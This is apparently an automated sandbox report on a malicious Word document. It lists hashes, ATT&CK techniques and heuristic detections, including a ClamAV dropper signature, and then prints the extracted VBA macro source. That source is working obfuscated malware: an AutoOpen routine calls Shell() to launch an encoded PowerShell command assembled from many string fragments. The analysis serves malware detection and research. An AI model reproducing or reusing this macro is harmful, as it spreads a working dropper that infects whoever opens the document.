Office (OLE) malware analysis — malicious · 16763963578c8603

MALICIOUS

Office (OLE)

105.2 KB Created: 2018-06-12 22:34:00 Authoring application: Microsoft Office Word First seen: 2018-07-04

MD5: 72df701c9eea6c471b3792e03ab38980 SHA-1: a373378b31ef561edfdd587981ef54c508703dd5 SHA-256: 16763963578c8603ee084ff89998f7cf73d675ec336df3945cab83f785056d2a

210 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Autoopen macro and a Shell() call within the VBA code indicate that the document is designed to execute arbitrary commands. Specifically, the script attempts to construct and execute a command using the Shell function, likely to download and run a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6583370-0' further supports its role as a dropper.

Heuristics 7

ClamAV: Doc.Dropper.Agent-6583370-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Agent-6583370-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code

Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA

Matched line in script

iYjGb = Tan(66417)
zjjcP = bcJcbQBV + Shell(sMNWUiVWP + Chr(YYwVShGMr + vbKeyP + INXoDzCi) + "owers" + YDcGmFaCGBa + JHupjV + MvtLHpW + mQhhjK + EWPpXOzqX + TKDFE, 20091 - 20091)
oPhzWF = Tan(34540)

VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Function
Sub Autoopen()
On Error Resume Next
```
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13296 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13296 bytes
SHA-256: `cf099ee166fda3c8bfb0f2c14123ad435271756ea106ac1e3e18914b5a65a8fe`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "DZzrbsQJfAGaL" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Function zjjcP() On Error Resume Next ViDnv = Tan(4638) DZwNh = EOqHQ MXGNSB = CDbl(sNizbv) VGGMf = lXKNXY jEkbK = Hex(nwzORl * ChrW(BKwYaX + Int(JzzHi * Rnd(54645)) * JpNsp * Log(89804 * KncCop - aYrpb + Fix(51)))) wbYlnA = Tan(12639) mGczh = Tan(40728) JjVbqH = WVWlhJ YGSDjS = CDbl(QbFpoR) jzEHU = RoVOkm FDPBS = Hex(iOAKuw * ChrW(vsHPm + Int(qSpVR * Rnd(58918)) * fRjkE * Log(35683 * LcMMEW - mJjpKI + Fix(51)))) iYjGb = Tan(66417) zjjcP = bcJcbQBV + Shell(sMNWUiVWP + Chr(YYwVShGMr + vbKeyP + INXoDzCi) + "owers" + YDcGmFaCGBa + JHupjV + MvtLHpW + mQhhjK + EWPpXOzqX + TKDFE, 20091 - 20091) oPhzWF = Tan(34540) iPGbB = SfvLPL IJjGW = CDbl(wsCick) WNfOi = ZYfQi GaQslu = Hex(XrjGB * ChrW(AJVUbl + Int(rAUFAj * Rnd(55784)) * lfdszX * Log(30521 * fzQjP - JqGdX + Fix(51)))) IDDDfE = Tan(83481) End Function Sub Autoopen() On Error Resume Next GKsFR = Tan(27567) MCNDUk = pUKBOf iwWIvp = CDbl(bZNtfK) VHLRB = zntZDz Nisdp = Hex(OcMVw * ChrW(YCkdz + Int(oaYUN * Rnd(98929)) * NDtqEw * Log(11372 * UVtjjD - vmIlO + Fix(51)))) cYNKtP = Tan(28548) zjjcP vsVtt = Tan(54951) UlHYq = DhrwQ UimMb = CDbl(okfjjL) raZcXn = aLbBBM WYqWN = Hex(HusJjt * ChrW(FscoE + Int(rzwiET * Rnd(17543)) * jJDkKO * Log(24231 * LoKTh - wiPwd + Fix(51)))) kiimwF = Tan(41636) End Sub Attribute VB_Name = "YulDEDbkoZ" Function YDcGmFaCGBa() On Error Resume Next JkGrf = Tan(34909) Xaffq = rABKI YHitZE = CDbl(wFZwj) LuqZN = rXijua AJbiMc = Hex(tHMfqh * ChrW(PTwzdv + Int(fiAao * Rnd(23369)) * RpXkS * Log(81486 * FXbNT - SDhLjj + Fix(51)))) bDklQ = Tan(59349) VWzAKpQI = "HeLL" + " -e KAAgA" + "E4AZQ" + "B3AC0ATwBiAE" + "oARQBjA" VfaDY = Tan(32168) cSovX = jKwWkK BbzprH = CDbl(pNEmU) bhazXo = fqksP pcRHN = Hex(FhOuh * ChrW(MQQiON + Int(bjPBj * Rnd(98495)) * vHSLqE * Log(49173 * SXXGqk - GNnsM + Fix(51)))) YmAbW = Tan(80475) AlUGMzd = "FQAIAB" + "pAG8ALgBDAG8ATQ" + "BwAHI" + "AZ" + "QBTAHMAaQ" + "Bv" + "AG4ALgBEAEUAZg" + "Bs" + "AGEAdABFAFMA" cZaiIO = Tan(11060) PCDdLj = sGHWSM COrnnW = CDbl(RjTOk) tzpwc = QrKkPA butTAX = Hex(zWMrUb * ChrW(dzTjOa + Int(EvRJun * Rnd(93424)) * sdbmIv * Log(51755 * PTrJE - kwdAv + Fix(51)))) tqABaB = Tan(43467) iHjQNP = "dABS" + "AEUAQQBN" + "ACgAIABbAFMAe" + "QBzAFQARQ" + "BNAC4ASQ" + "BvAC4ATQBlAG0" cKFkfN = Tan(58368) PiSnCa = PWQYi TfurJ = CDbl(BdZLHZ) vEOGir = BiuhIl mkiJc = Hex(oJfLtV * ChrW(cFpWL + Int(afzBQ * Rnd(74477)) * qIkkMi * Log(46166 * OsvCf - nmZDNI + Fix(51)))) PwsXW = Tan(89645) PBoHNAvk = "ATwBSAHkAcwBUAH" + "IARQB" + "BAE0AXQ" + "AgAFsAUwBZAHMA" + "VABlAG" + "0ALgBjAG8Abg" YDcGmFaCGBa = VWzAKpQI + AlUGMzd + iHjQNP + PBoHNAvk End Function Function JHupjV() On Error Resume Next onjOW = Tan(89341) fYuwKz = NMuUjd sazCiL = CDbl(MrMpnM) bJjfkm = NiECK BjwDq = Hex(YvNlL * ChrW(iWSjiJ + Int(kMmCN * Rnd(79419)) * qifvtA * Log(37884 * ZctJzW - oNYUmC + Fix(51)))) pjwvf = Tan(49513) obWpj = "BW" + "AGUAcgB0AF0A" + "OgA6AGYA" + "cg" + "BPAG0AQgBhAFMAR" + "QA2" + "ADQAcwBUA" + "FIA" + "aQ" PhkNv = Tan(51524) QRsLYw = qnZKAw YitCt = CDbl(pwzzUt) KvIvD = uYvjJO TztXl = Hex(dpqCrL * ChrW(AERSu + Int(iWmuid * Rnd(12211)) * Bwcwj * Log(77271 * HqFcMp - jUsRj + Fix(51)))) vqHdm = Tan(35436) PjzZwH = "BOAGcAKAAgAC" + "cAVgBa" + "AEIAU" + "gBU" + "ADgA" + "SQB3AEYASQBY" jjEOtf = Tan(51048) rNEHXO = OMpiBO SBNtEJ = CDbl(rzMRE) alqjh = orGoJ mCbvn = Hex(RUvOC * ChrW(zaRQA + Int(sqSLS * Rnd(55524)) * GAmaw * Log(22362 * DhRHj - LIAjIM + Fix(51)))) pjGzXr = Tan(84632) MdHFRPT = "AC8AU" + "wBo" + "ACsAV" + "wBqAEUA" + "WABYA" + "FIAVABRA" TtbjwZ = Tan(64278) fuzCp = SIKhED piCGtf = CDbl(uoCET) jnpXk = dFVpJ tsRzn = Hex(moLdLZ * ChrW(FtKIqs + Int(jXNiSm * Rnd(94401)) * ZfUttw * Log(99919 * FwAMRf - GcQtf + Fix(51)))) TwiwOa = Tan(43649) oaOLYi = "GgAcw" + "BwAGcAZwBLAH" + "YAbwB" + "nAFEA" + "aABpAGkASQBTA" JHupjV = obWpj + PjzZwH + MdHFRPT + oaOLYi End Function Function MvtLHpW() On Error Resume Next miAsEO = Tan(61339) RfjFG = MpfdE HCCtR = CDbl(Gjqwf) dITRA = MQawK MaWOjo = Hex(lWFXk * ChrW(HbwIwS + Int(AKbzl * Rnd(90343)) * LQnqKr * Log(33279 * rjrzCf - zXljos + Fix(51)))) OHdipk = Tan(4527) kImZWF = "GEAbQA2ACsA" + "NQBZAHgAO" + "QBiA" + "E8AYwBsAGsASAB" + "oAF" + "AAOQB1A" + "FIAWABnA" + "GcAVABaAHE" YcowGV = Tan(66020) MsLbj = QzQpG ELCGz = CDbl(BjMjC) dsLPKD = YRHYr RJzrjN = Hex(druMai * ChrW(nTCDj + Int(izrDBm * Rnd(25463)) * isznL * Log(56030 * JCofSC - mwwoc + Fix(51)))) lFPDr = Tan(2627) uXLDdODC = "AMAA1A" + "DcAdg" + "AzADMASAB1AG" + "MA" + "dQBvAHoANw" + "BnAHQAdwBSAEMAY" + "wBaAFg" + "AYwBRADQAYwBpA" + "FcAWQB5AFUA" + "VwBYAG8A" TRvpuA = Tan(68378) wzZOFV = QNYNnb sFMKL = CDbl(cdtvKi) rHzlS = HnBZZ jHoCf = Hex(OXIYpd * ChrW(oETVDd + Int(aJmJO * Rnd(74226)) * UUYrjm * Log(76658 * XnbNRw - ESRVC + Fix(51)))) OoRzvV = Tan(92013) YrjvUREE = "SgBL" + "AFYANAAxA" + "GEATgB6A" + "EwAZAB" + "xAH" + "MARQBFAHIAN" + "gBCA" + "GsAZ" + "wAvAEkAS" Ufotj = Tan(87741) jhJqv = jfuqL TFUrs = CDbl(QGfGtk) sIDIm = iCEUl fGUhJ = Hex(GjMcQ * ChrW(owISnX + Int(nZZDAd * Rnd(44031)) * WdGPl * Log(67768 * MiwYWi - AEPsDU + Fix(51)))) LQPjrz = Tan(66026) lPFbJbP = "AA" + "0AG8AQ" + "gBFAGcATQBIA" + "FQAVgBOADIATABz" + "AEYAM" + "wBRAHkAeAA2A" + "GcA" + "YgBCADA" + "Ab" CTEmP = Tan(70618) GMfQE = iVOBuA UnIZC = CDbl(KNrju) BGbcUk = CuwDM QHhuAf = Hex(zJlPLf * ChrW(wasPdl + Int(CcDtuQ * Rnd(52978)) * iVkvlm * Log(19488 * TqDzor - LRoAU + Fix(51)))) BjZbIN = Tan(59093) LIXojpi = "gBBAFcARgAwAEkA" + "dQB" + "LAEYAZABsA" + "HMARwB4ADMATwBr" BGOVwf = Tan(30005) PtzowZ = aoqKH bFQHVc = CDbl(LUdYfz) kocpM = hBvDf cKznSD = Hex(lZAwN * ChrW(DcTuQY + Int(wGnlL * Rnd(1447)) * BKZKMb * Log(81654 * bMhLVH - tkqOM + Fix(51)))) cOGff = Tan(43452) wdcotcr = "AEgAdgBLAEIAb" + "ABqAEsAT" + "gBPAE4ASwBLAHo" + "ASgBRAGU" + "AMwBNAHg" + "AZQ" + "AxAGsAZgBhA" + "FoAagBCA" + "HIANQBLAFUAOABH" + "AEIAbABoA" VXNbRF = Tan(42788) zqlmmD = GNECB NDuzoo = CDbl(vTihE) iEwGu = lmttE ZGbHta = Hex(VzHUSd * ChrW(QzjjLE + Int(iZwIGK * Rnd(72585)) * wUJqV * Log(27339 * woZEEj - WjfcR + Fix(51)))) nFNizu = Tan(90609) oYobl = "EIAOAB6AG" + "0AWgB" + "MAH" + "YAVABrAEQAMQ" iwmPrF = Tan(6478) LcIOiA = GHAzXD ditlb = CDbl(GaqaTB) pnoMi = iYDUC nNGbz = Hex(XdRVIW * ChrW(dMhkl + Int(vjiCTS * Rnd(76572)) * SUoaJ * Log(83637 * oczzr - vXATiS + Fix(51)))) ArBoR = Tan(75060) Ecnis = "BxAFYAV" + "QBGAE8A" + "dgBnAFo" + "AVABhAEkA" + "aAA5AGYAeQB2" + "AEgAbQBpAEsAdgB" + "SAFQAWgBlAGYAV" + "QBmAHEAM" + "gBLAHQ" + "AVQBRAEEA" lELnI = Tan(22285) FIdvwi = okhkuE IhjoA = CDbl(SbTzIW) ikRMrf = pOXXjn MHTEW = Hex(FcXcwI * ChrW(Lipimc + Int(CESUsP * Rnd(9858)) * tKLIM * Log(21498 * Tzumn - GMpOjA + Fix(51)))) LZtkEt = Tan(36191) JGlbWKBRU = "ZgBiA" + "EQASwBSAC" + "8AZgB" + "6AFQAdAB" MvtLHpW = kImZWF + uXLDdODC + YrjvUREE + lPFbJbP + LIXojpi + wdcotcr + oYobl + Ecnis + JGlbWKBRU End Function Function mQhhjK() On Error Resume Next owLHd = Tan(90237) MQpvTF = pjAoO rdGJOR = CDbl(UQaESs) iAjfKk = zYYnj BjJkPf = Hex(PLsBs * ChrW(vNwql + Int(bHjoAU * Rnd(57637)) * XrEiWh * Log(70275 * kGponV - SIhnwo + Fix(51)))) DimLF = Tan(49566) TwDmrfoJjQ = "VAFAAWABC" + "AHAAVg" + "BoAGMAQwBXADIAM" + "wBPADkAMA" + "BCAEgANQBWAGc" uJPlC = Tan(97637) GJfKb = dpAwpF NjThf = CDbl(NoWvKc) cqzaC = WKLwBc qhOiq = Hex(zAHOq * ChrW(GNljkO + Int(iQVmr * Rnd(50154)) * EiOBhR * Log(10247 * wjZoF - cKUbGs + Fix(51)))) Xlbbkh = Tan(88473) KTlTcfiX = "AKwBN" + "AG4AZAA0ADU" + "AWgBFAEUAbABOAE" + "4AaQA2A" + "HUAaQBUAHQ" + "AOQB" + "vA" + "DAAOQBGAH" + "MA" UuWIw = Tan(34414) mGjZc = OFJwIf GBKkh = CDbl(jznZwk) BilCj = WLXOv PzJjRf = Hex(BnATjl * ChrW(wlTwjk + Int(RwjTHQ * Rnd(99388)) * uinPD * Log(35073 * WQWuU - XBKCQF + Fix(51)))) lrYhK = Tan(84869) JhUXtcil = "Qw" + "BmAE8AcAA5AH" + "MALwB" + "3AEMAUQBkAGQ" + "AZQ" + "B1" + "AFgANQBFAEwA" BZNJOc = Tan(85559) RjTiHz = DclPG vZRqKo = CDbl(DJFFL) wzDMj = qijiii NWnwvv = Hex(EGAwTE * ChrW(UpHaOX + Int(zRAQFX * Rnd(31891)) * LuiHM * Log(52592 * QNKJZ - swGsb + Fix(51)))) VpbET = Tan(21923) MCwjqVr = "NA" + "BuADYANQA5" + "AGoANABW" + "ADIAegB" + "lAEYAQgB0A" + "Hc" + "AdwBWAF" mQhhjK = TwDmrfoJjQ + KTlTcfiX + JhUXtcil + MCwjqVr End Function Function EWPpXOzqX() On Error Resume Next NEnjp = Tan(46458) puGNL = MTZuQE YGUtXi = CDbl(vakqO) CNwchU = Fawqth sBQhnO = Hex(lHktI * ChrW(FZPJQ + Int(PpzXwM * Rnd(90878)) * swIiA * Log(81255 * auJDCz - RFMjYJ + Fix(51)))) fLoauR = Tan(88716) pZdKLRQDhAw = "IAbw" + "BZAHoAM" + "QBwAE" + "8AMQBSADkAbgB6A" dTUsvW = Tan(75233) FtSQff = GNzhY LNnlnM = CDbl(TEFYAh) qjJEL = GGpGtA GiMvk = Hex(ARGjH * ChrW(JAjBo + Int(PzOPXE * Rnd(89981)) * tmFXh * Log(85067 * MjlrJn - hwjCCw + Fix(51)))) daEBM = Tan(56785) iVspI = "DUAbwBJAFMAZgA" + "3AFQ" + "AOABYAGEAbwBOA" + "DcAdABqAHAA" lrKIA = Tan(30229) NMjwOV = TuKiGl PfUCw = CDbl(QLAVU) japaj = XCTmz naEKf = Hex(XGsmVL * ChrW(GCwLBM + Int(iAlXi * Rnd(39803)) * Viizdj * Log(32877 * YOFjF - OWzEik + Fix(51)))) GbqRam = Tan(48996) GuszJ = "dgBSAFIARw" + "BWAGsAbwBsAGcAe" + "ABFAEEAU" + "wBlAFcAVABsAFc" + "ARQ" + "AyAG8AY" + "gBXADgAaQA3AEoA" + "MABkAFEATABJ" ohjKTB = Tan(45108) psfYr = iGVGPP oSzkwO = CDbl(rfCtr) jhZVlw = MIMzLl tkvTXJ = Hex(APjaV * ChrW(PRJplh + Int(uAjAU * Rnd(35376)) * RjFAZ * Log(24706 * OHjiWh - jSsuQ + Fix(51)))) buwWN = Tan(57773) IaLTWc = "ADIAUQ" + "BhAC8AYgBGA" + "FcASABGA" + "GEAcgAwADMAYw" + "BZAFcAN" + "QBkAGwAdQ" + "BPAGM" + "ATQBlAGIA" + "WQB6AFc" + "AaQB" hsDvw = Tan(9333) rTJjBI = BKZHO zLinGE = CDbl(zWiim) rEWDoj = waPIM HHZkYP = Hex(iYWJQp * ChrW(voVlat + Int(RzfGl * Rnd(44947)) * DWvaaM * Log(95148 * XmJTn - ShMnz + Fix(51)))) WHFihS = Tan(74663) EahWWSodH = "EADQAbQBkADI" + "AWQBPAE4" + "ALwAwAHEAZQ" + "BGAFEAbw" + "BWAE" + "MAUw" KuimsC = Tan(51595) ajpcw = RibHGp PTSmhb = CDbl(QRsIZH) cIWbkp = HcwWs qXDaMz = Hex(ubLAKb * ChrW(mIqhCo + Int(oaEjV * Rnd(99825)) * IqUPoz * Log(11752 * OSvcQw - wWQJL + Fix(51)))) wmRUDY = Tan(3231) nriKmSiSO = "BEAG" + "0AMABG" + "AFcAMABDADQAM" + "wA" + "vADgAQw" wtqzHm = Tan(70510) lVbYtu = lZYHm iPMoFJ = CDbl(DukaE) PZFfJJ = Fkvhm EOfvfR = Hex(RQdiI * ChrW(djork + Int(Uwiwf * Rnd(88019)) * zVZzU * Log(58402 * VFqXz - Jpfzv + Fix(51)))) XHjkRt = Tan(19703) WrWpbjG = "AnACk" + "ALA" + "AgAFsA" + "SQB" + "vAC4AYw" EWPpXOzqX = pZdKLRQDhAw + iVspI + GuszJ + IaLTWc + EahWWSodH + nriKmSiSO + WrWpbjG End Function Function TKDFE() On Error Resume Next SnZPAB = Tan(33412) tsSJz = jXqRr riRfDE = CDbl(GRkHE) zjhfb = wnpvm mbQbIu = Hex(BipnW * ChrW(LviKCJ + Int(OwCWws * Rnd(28408)) * tsBjfw * Log(33480 * FfJpHC - IwLlPb + Fix(51)))) dnlBS = Tan(76339) UCjRj = "BvA" + "G0AUA" + "BSAEUA" + "UwBTA" + "GkATwBOAC4AYwB" + "vAE0Ac" + "AB" + "SAGUAcwBTAGkAb" ucQjG = Tan(16210) nDrwuS = itUcM tanGw = CDbl(aPOwd) dDLCsJ = tuVsT VItwuR = Hex(GVfTp * ChrW(hniWZ + Int(NQQPO * Rnd(53897)) * LbSYY * Log(66054 * RdJjR - jFZIX + Fix(51)))) NjcNLX = Tan(92103) JkJmGQwF = "wBO" + "AE0AbwBEAEU" + "AXQA" + "6ADo" + "ARABlAEMAbwBNAH" + "AAcgBFAHMA" GYFsfW = Tan(88083) znzHl = rDiBF YIqHs = CDbl(OQjNG) cvNtX = AuaaI LPFssY = Hex(JRqNzh * ChrW(AIHdXk + Int(wipHwj * Rnd(25182)) * KiwzF * Log(93393 * RVYKdw - liQLaQ + Fix(51)))) nzDYEP = Tan(71669) wwBXIUKdo = "UwA" + "pAHwAIAAlACA" + "AewBOAGUA" + "dwAtAE8AYgB" + "KAEUAYwB" + "UACAAIAB" lurWI = Tan(13529) PzcAX = mEMGkN HrmFwJ = CDbl(hubAh) AkiTGo = ZTSjZs AsrRU = Hex(sJuIl * ChrW(zjiUWc + Int(jqBat * Rnd(679)) * lSnYCj * Log(7399 * WoDKf - wrqWhj + Fix(51)))) svwwHF = Tan(23090) iHOuF = "TAHkAcwBUAGUAbQ" + "AuAE" + "kAbwAuAHMAVAB" + "yAEUA" + "YQBtAFIARQB" + "hAGQARQByACgA" + "IAAkAF8AI" wSwRY = Tan(32751) VVFFW = MpRLwo zLDMUG = CDbl(Xpcvar) XWEtGO = WURbJ jFjkKR = Hex(KnOmwR * ChrW(CjsJi + Int(qoTMSp * Rnd(49733)) * cqmkK * Log(15577 * RIskJ - pkHSw + Fix(51)))) pXqcHz = Tan(59723) WnMRzwNNtH = "AAsAFsAdABFAFgA" + "dAAuAEU" + "ATg" + "BjAE8ARAB" + "JAE" + "4AZwBdADoAO" + "gBhAFMAQwBpAEkA" + "IAApAH0" + "AIAApAC4AUgBlAG" rmUSU = Tan(83986) hwcBm = MkXAY QAELt = CDbl(BklmO) mfzUin = QRsIo QKidmS = Hex(jcOHna * ChrW(wTHkuh + Int(PGKrFj * Rnd(52208)) * DYsQj * Log(55354 * WHwUn - JRrhEN + Fix(51)))) wKINGh = Tan(3279) GiFSiYzVs = "EARAB" + "UAE" + "8ARQB" + "OAEQAKAA" UljiA = Tan(51484) pPXuz = zAlauB pSKBW = CDbl(MsQiJw) HBWSln = kbcKJ qwKXm = Hex(jwOCa * ChrW(MBOjZk + Int(vWiwi * Rnd(36100)) * HjUNqA * Log(84474 * HNitr - Sitzvn + Fix(51)))) lGDCr = Tan(92660) dbfrW = "pACAAfAA" + "mACAAKAAoAGc" + "AZQBUA" + "C0AVgBBA" + "FI" + "ASQBBAEIAbABlAC" + "AAJwAq" + "AE0AZ" + "AByACoAJwApAC4" + "ATgBhAE0AZQ" sMCjE = Tan(95269) zbALa = FtAwfs dskwi = CDbl(QVaRLw) dOvLC = urSDsn ATrFF = Hex(wflAb * ChrW(zZjjZ + Int(pNVJr * Rnd(97441)) * vrwYKo * Log(84193 * MiziU - ozYsN + Fix(51)))) GFPNI = Tan(85511) IIJmkXM = "BbADMALAAxA" + "DEALAAyA" + "F0ALQBqAE8AaQB" + "uACcAJwApAA" + "==" TKDFE = UCjRj + JkJmGQwF + wwBXIUKdo + iHOuF + WnMRzwNNtH + GiFSiYzVs + dbfrW + IIJmkXM End Function

SHA-256: cf099ee166fda3c8bfb0f2c14123ad435271756ea106ac1e3e18914b5a65a8fe

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "DZzrbsQJfAGaL"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function zjjcP()
On Error Resume Next
ViDnv = Tan(4638)
DZwNh = EOqHQ
MXGNSB = CDbl(sNizbv)
VGGMf = lXKNXY
jEkbK = Hex(nwzORl * ChrW(BKwYaX + Int(JzzHi * Rnd(54645)) * JpNsp * Log(89804 * KncCop - aYrpb + Fix(51))))
wbYlnA = Tan(12639)
mGczh = Tan(40728)
JjVbqH = WVWlhJ
YGSDjS = CDbl(QbFpoR)
jzEHU = RoVOkm
FDPBS = Hex(iOAKuw * ChrW(vsHPm + Int(qSpVR * Rnd(58918)) * fRjkE * Log(35683 * LcMMEW - mJjpKI + Fix(51))))
iYjGb = Tan(66417)
zjjcP = bcJcbQBV + Shell(sMNWUiVWP + Chr(YYwVShGMr + vbKeyP + INXoDzCi) + "owers" + YDcGmFaCGBa + JHupjV + MvtLHpW + mQhhjK + EWPpXOzqX + TKDFE, 20091 - 20091)
oPhzWF = Tan(34540)
iPGbB = SfvLPL
IJjGW = CDbl(wsCick)
WNfOi = ZYfQi
GaQslu = Hex(XrjGB * ChrW(AJVUbl + Int(rAUFAj * Rnd(55784)) * lfdszX * Log(30521 * fzQjP - JqGdX + Fix(51))))
IDDDfE = Tan(83481)
End Function
Sub Autoopen()
On Error Resume Next
GKsFR = Tan(27567)
MCNDUk = pUKBOf
iwWIvp = CDbl(bZNtfK)
VHLRB = zntZDz
Nisdp = Hex(OcMVw * ChrW(YCkdz + Int(oaYUN * Rnd(98929)) * NDtqEw * Log(11372 * UVtjjD - vmIlO + Fix(51))))
cYNKtP = Tan(28548)
zjjcP
vsVtt = Tan(54951)
UlHYq = DhrwQ
UimMb = CDbl(okfjjL)
raZcXn = aLbBBM
WYqWN = Hex(HusJjt * ChrW(FscoE + Int(rzwiET * Rnd(17543)) * jJDkKO * Log(24231 * LoKTh - wiPwd + Fix(51))))
kiimwF = Tan(41636)
End Sub


Attribute VB_Name = "YulDEDbkoZ"
Function YDcGmFaCGBa()
On Error Resume Next
JkGrf = Tan(34909)
Xaffq = rABKI
YHitZE = CDbl(wFZwj)
LuqZN = rXijua
AJbiMc = Hex(tHMfqh * ChrW(PTwzdv + Int(fiAao * Rnd(23369)) * RpXkS * Log(81486 * FXbNT - SDhLjj + Fix(51))))
bDklQ = Tan(59349)
VWzAKpQI = "HeLL" + " -e KAAgA" + "E4AZQ" + "B3AC0ATwBiAE" + "oARQBjA"
VfaDY = Tan(32168)
cSovX = jKwWkK
BbzprH = CDbl(pNEmU)
bhazXo = fqksP
pcRHN = Hex(FhOuh * ChrW(MQQiON + Int(bjPBj * Rnd(98495)) * vHSLqE * Log(49173 * SXXGqk - GNnsM + Fix(51))))
YmAbW = Tan(80475)
AlUGMzd = "FQAIAB" + "pAG8ALgBDAG8ATQ" + "BwAHI" + "AZ" + "QBTAHMAaQ" + "Bv" + "AG4ALgBEAEUAZg" + "Bs" + "AGEAdABFAFMA"
cZaiIO = Tan(11060)
PCDdLj = sGHWSM
COrnnW = CDbl(RjTOk)
tzpwc = QrKkPA
butTAX = Hex(zWMrUb * ChrW(dzTjOa + Int(EvRJun * Rnd(93424)) * sdbmIv * Log(51755 * PTrJE - kwdAv + Fix(51))))
tqABaB = Tan(43467)
iHjQNP = "dABS" + "AEUAQQBN" + "ACgAIABbAFMAe" + "QBzAFQARQ" + "BNAC4ASQ" + "BvAC4ATQBlAG0"
cKFkfN = Tan(58368)
PiSnCa = PWQYi
TfurJ = CDbl(BdZLHZ)
vEOGir = BiuhIl
mkiJc = Hex(oJfLtV * ChrW(cFpWL + Int(afzBQ * Rnd(74477)) * qIkkMi * Log(46166 * OsvCf - nmZDNI + Fix(51))))
PwsXW = Tan(89645)
PBoHNAvk = "ATwBSAHkAcwBUAH" + "IARQB" + "BAE0AXQ" + "AgAFsAUwBZAHMA" + "VABlAG" + "0ALgBjAG8Abg"
YDcGmFaCGBa = VWzAKpQI + AlUGMzd + iHjQNP + PBoHNAvk
End Function
Function JHupjV()
On Error Resume Next
onjOW = Tan(89341)
fYuwKz = NMuUjd
sazCiL = CDbl(MrMpnM)
bJjfkm = NiECK
BjwDq = Hex(YvNlL * ChrW(iWSjiJ + Int(kMmCN * Rnd(79419)) * qifvtA * Log(37884 * ZctJzW - oNYUmC + Fix(51))))
pjwvf = Tan(49513)
obWpj = "BW" + "AGUAcgB0AF0A" + "OgA6AGYA" + "cg" + "BPAG0AQgBhAFMAR" + "QA2" + "ADQAcwBUA" + "FIA" + "aQ"
PhkNv = Tan(51524)
QRsLYw = qnZKAw
YitCt = CDbl(pwzzUt)
KvIvD = uYvjJO
TztXl = Hex(dpqCrL * ChrW(AERSu + Int(iWmuid * Rnd(12211)) * Bwcwj * Log(77271 * HqFcMp - jUsRj + Fix(51))))
vqHdm = Tan(35436)
PjzZwH = "BOAGcAKAAgAC" + "cAVgBa" + "AEIAU" + "gBU" + "ADgA" + "SQB3AEYASQBY"
jjEOtf = Tan(51048)
rNEHXO = OMpiBO
SBNtEJ = CDbl(rzMRE)
alqjh = orGoJ
mCbvn = Hex(RUvOC * ChrW(zaRQA + Int(sqSLS * Rnd(55524)) * GAmaw * Log(22362 * DhRHj - LIAjIM + Fix(51))))
pjGzXr = Tan(84632)
MdHFRPT = "AC8AU" + "wBo" + "ACsAV" + "wBqAEUA" + "WABYA" + "FIAVABRA"
TtbjwZ = Tan(64278)
fuzCp = SIKhED
piCGtf = CDbl(uoCET)
jnpXk = dFVpJ
tsRzn = Hex(moLdLZ * ChrW(FtKIqs + Int(jXNiSm * Rnd(94401)) * ZfUttw * Log(99919 * FwAMRf - GcQtf + Fix(51))))
TwiwOa = Tan(43649)
oaOLYi = "GgAcw" + "BwAGcAZwBLAH" + "YAbwB" + "nAFEA" + "aABpAGkASQBTA"
JHupjV = obWpj + PjzZwH + MdHFRPT + oaOLYi
End Function
Function MvtLHpW()
On Error Resume Next
miAsEO = Tan(61339)
RfjFG = MpfdE
HCCtR = CDbl(Gjqwf)
dITRA = MQawK
MaWOjo = Hex(lWFXk * ChrW(HbwIwS + Int(AKbzl * Rnd(90343)) * LQnqKr * Log(33279 * rjrzCf - zXljos + Fix(51))))
OHdipk = Tan(4527)
kImZWF = "GEAbQA2ACsA" + "NQBZAHgAO" + "QBiA" + "E8AYwBsAGsASAB" + "oAF" + "AAOQB1A" + "FIAWABnA" + "GcAVABaAHE"
YcowGV = Tan(66020)
MsLbj = QzQpG
ELCGz = CDbl(BjMjC)
dsLPKD = YRHYr
RJzrjN = Hex(druMai * ChrW(nTCDj + Int(izrDBm * Rnd(25463)) * isznL * Log(56030 * JCofSC - mwwoc + Fix(51))))
lFPDr = Tan(2627)
uXLDdODC = "AMAA1A" + "DcAdg" + "AzADMASAB1AG" + "MA" + "dQBvAHoANw" + "BnAHQAdwBSAEMAY" + "wBaAFg" + "AYwBRADQAYwBpA" + "FcAWQB5AFUA" + "VwBYAG8A"
TRvpuA = Tan(68378)
wzZOFV = QNYNnb
sFMKL = CDbl(cdtvKi)
rHzlS = HnBZZ
jHoCf = Hex(OXIYpd * ChrW(oETVDd + Int(aJmJO * Rnd(74226)) * UUYrjm * Log(76658 * XnbNRw - ESRVC + Fix(51))))
OoRzvV = Tan(92013)
